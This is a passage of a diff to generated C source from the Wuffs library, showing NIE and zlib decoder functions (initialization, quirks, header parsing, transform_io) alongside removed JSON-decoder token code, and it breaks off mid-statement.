++ ++// -------- func nie.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_nie__decoder__set_report_metadata( ++ wuffs_nie__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func nie.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__tell_me_more( ++ wuffs_nie__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func nie.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_nie__decoder__workbuf_len( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_zlib__note__dictionary_required[] = "@zlib: dictionary required"; ++const char wuffs_zlib__error__bad_checksum[] = "#zlib: bad checksum"; ++const char wuffs_zlib__error__bad_compression_method[] = "#zlib: bad compression method"; ++const char wuffs_zlib__error__bad_compression_window_size[] = "#zlib: bad compression window size"; ++const char wuffs_zlib__error__bad_parity_check[] = "#zlib: bad parity check"; ++const char wuffs_zlib__error__incorrect_dictionary[] = "#zlib: incorrect dictionary"; ++const char wuffs_zlib__error__truncated_input[] = "#zlib: truncated input"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_ZLIB__QUIRKS_BASE 2113790976u ++ ++#define WUFFS_ZLIB__QUIRKS_COUNT 1u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_zlib__decoder__do_transform_io( ++ wuffs_zlib__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_zlib__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_zlib__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_zlib__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_zlib__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_zlib__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_zlib__decoder__initialize( ++ wuffs_zlib__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ { ++ wuffs_base__status z = wuffs_adler32__hasher__initialize( ++ &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_adler32__hasher__initialize( ++ &self->private_data.f_dict_id_hasher, sizeof(self->private_data.f_dict_id_hasher), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_deflate__decoder__initialize( ++ &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_zlib__decoder* ++wuffs_zlib__decoder__alloc(void) { ++ wuffs_zlib__decoder* x = ++ (wuffs_zlib__decoder*)(calloc(1, sizeof(wuffs_zlib__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_zlib__decoder__initialize( ++ x, sizeof(wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_zlib__decoder(void) { ++ return sizeof(wuffs_zlib__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func zlib.decoder.dictionary_id ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_zlib__decoder__dictionary_id( ++ const wuffs_zlib__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return self->private_impl.f_dict_id_want; ++} ++ ++// -------- func zlib.decoder.add_dictionary ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_zlib__decoder__add_dictionary( ++ wuffs_zlib__decoder* self, ++ wuffs_base__slice_u8 a_dict) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } ++ ++ if (self->private_impl.f_header_complete) { ++ self->private_impl.f_bad_call_sequence = true; ++ } else { ++ self->private_impl.f_dict_id_have = wuffs_adler32__hasher__update_u32(&self->private_data.f_dict_id_hasher, a_dict); ++ wuffs_deflate__decoder__add_history(&self->private_data.f_flate, a_dict); ++ } ++ self->private_impl.f_got_dictionary = true; ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func zlib.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_zlib__decoder__get_quirk( ++ const wuffs_zlib__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ uint32_t v_key = 0; ++ ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } else if (a_key >= 2113790976u) { ++ v_key = (a_key - 2113790976u); ++ if (v_key < 1u) { ++ if (self->private_impl.f_quirks[v_key]) { ++ return 1u; ++ } ++ } ++ } ++ return 0u; ++} ++ ++// -------- func zlib.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_zlib__decoder__set_quirk( ++ wuffs_zlib__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_header_complete) { ++ self->private_impl.f_bad_call_sequence = true; ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } else if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } else if (a_key >= 2113790976u) { ++ a_key -= 2113790976u; ++ if (a_key < 1u) { ++ self->private_impl.f_quirks[a_key] = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func zlib.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_zlib__decoder__dst_history_retain_length( ++ const wuffs_zlib__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); ++} ++ ++// -------- func zlib.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_zlib__decoder__workbuf_len( ++ const wuffs_zlib__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++} ++ ++// -------- func zlib.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_zlib__decoder__transform_io( ++ wuffs_zlib__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_zlib__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_zlib__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func zlib.decoder.do_transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_zlib__decoder__do_transform_io( ++ wuffs_zlib__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint16_t v_x = 0; ++ uint32_t v_checksum_have = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_checksum_want = 0; ++ uint64_t v_mark = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; ++ if (coro_susp_point) { ++ v_checksum_have = self->private_data.s_do_transform_io.v_checksum_have; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_bad_call_sequence) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_quirks[0u]) { ++ } else if ( ! self->private_impl.f_want_dictionary) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint16_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_number_length = wuffs_json__decoder__decode_number(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- v_number_status = (v_number_length >> 8u); +- v_vminor = 10486787u; +- if ((v_number_length & 128u) != 0u) { +- v_vminor = 10486785u; ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_number_length = (v_number_length & 127u); +- if (v_number_status == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_number_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 8) { ++ t_0 = ((uint16_t)(*scratch >> 48)); + break; + } +- while (v_number_length > 0u) { +- v_number_length -= 1u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_x = t_0; ++ } ++ if (((uint16_t)(((uint16_t)(v_x >> 8u)) & 15u)) != 8u) { ++ status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_method); ++ goto exit; ++ } ++ if (((uint16_t)(v_x >> 12u)) > 7u) { ++ status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_window_size); ++ goto exit; ++ } ++ if (((uint16_t)(v_x % 31u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_zlib__error__bad_parity_check); ++ goto exit; ++ } ++ self->private_impl.f_want_dictionary = (((uint16_t)(v_x & 32u)) != 0u); ++ if (self->private_impl.f_want_dictionary) { ++ self->private_impl.f_dict_id_have = 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } +- if (v_number_status == 1u) { +- if (self->private_impl.f_quirks[14u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch >> 32)); + break; + } +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } else if (v_number_status == 2u) { +- status = wuffs_base__make_status(wuffs_json__error__unsupported_number_length); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(17); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(18); +- } +- } +- } +- break; +- } else if (v_class == 5u) { +- v_vminor = 2113553u; +- if (v_depth == 0u) { +- } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { +- v_vminor = 2113601u; +- } else { +- v_vminor = 2113569u; +- } +- if (v_depth >= 1024u) { +- status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); +- goto exit; +- } +- v_stack_byte = (v_depth / 32u); +- v_stack_bit = (v_depth & 31u); +- self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(1u)) << v_stack_bit); +- v_depth += 1u; +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4162u; +- v_expect_after_value = 4164u; +- goto label__outer__continue; +- } else if (v_class == 6u) { +- iop_a_src += 1u; +- if (v_depth <= 1u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2101314u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__outer__break; +- } +- v_depth -= 1u; +- v_stack_byte = ((v_depth - 1u) / 32u); +- v_stack_bit = ((v_depth - 1u) & 31u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2105410u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4356u; +- v_expect_after_value = 4356u; +- } else { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2113602u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4164u; +- v_expect_after_value = 4164u; +- } +- goto label__outer__continue; +- } else if (v_class == 7u) { +- v_vminor = 2105361u; +- if (v_depth == 0u) { +- } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { +- v_vminor = 2105409u; +- } else { +- v_vminor = 2105377u; +- } +- if (v_depth >= 1024u) { +- status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); +- goto exit; +- } +- v_stack_byte = (v_depth / 32u); +- v_stack_bit = (v_depth & 31u); +- self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(1u)) << v_stack_bit)); +- v_depth += 1u; +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 8114u; +- v_expect_after_value = 4356u; +- goto label__outer__continue; +- } else if (v_class == 8u) { +- iop_a_src += 1u; +- if (v_depth <= 1u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2101282u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__outer__break; +- } +- v_depth -= 1u; +- v_stack_byte = ((v_depth - 1u) / 32u); +- v_stack_bit = ((v_depth - 1u) & 31u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2105378u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4356u; +- v_expect_after_value = 4356u; +- } else { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2113570u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4164u; +- v_expect_after_value = 4164u; +- } +- goto label__outer__continue; +- } else if (v_class == 9u) { +- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 111546413966853u); +- if (v_match == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(8388612u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(5u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src += 5u; +- break; +- } else if (v_match == 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(19); +- goto label__outer__continue; +- } +- } else if (v_class == 10u) { +- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 435762131972u); +- if (v_match == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(8388616u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src += 4u; +- break; +- } else if (v_match == 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(20); +- goto label__outer__continue; +- } +- } else if (v_class == 11u) { +- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 465676103172u); +- if (v_match == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(8388610u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src += 4u; +- break; +- } else if (v_match == 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); +- goto label__outer__continue; +- } +- if (self->private_impl.f_quirks[14u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); +- status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- break; +- } +- } else if (v_class == 12u) { +- if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); +- status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_comment_type > 0u) { +- goto label__outer__continue; ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); + } + } ++ self->private_impl.f_dict_id_want = t_1; + } +- status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ status = 